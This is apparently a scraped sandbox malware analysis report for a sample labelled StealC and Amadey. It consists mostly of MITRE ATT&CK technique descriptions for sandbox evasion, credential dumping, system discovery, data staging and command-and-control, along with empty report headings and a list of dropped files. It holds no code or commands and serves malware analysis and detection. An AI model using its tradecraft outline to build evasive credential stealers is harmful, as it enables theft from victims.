Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DAEGIIECGHCBFHJKEHDB

C:\ProgramData\DBFBFBGD

C:\ProgramData\ECGHCBGCBFHIIDHIJKFBKFIJJD

C:\ProgramData\IEBFHCAKFBGDHIDHIDBK

C:\ProgramData\IIJDBAKKKFBFHIDGIIEHIDBGCA

C:\ProgramData\KEGCBFCB

C:\ProgramData\KKFBFCAFCBKFIEBFHIDB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre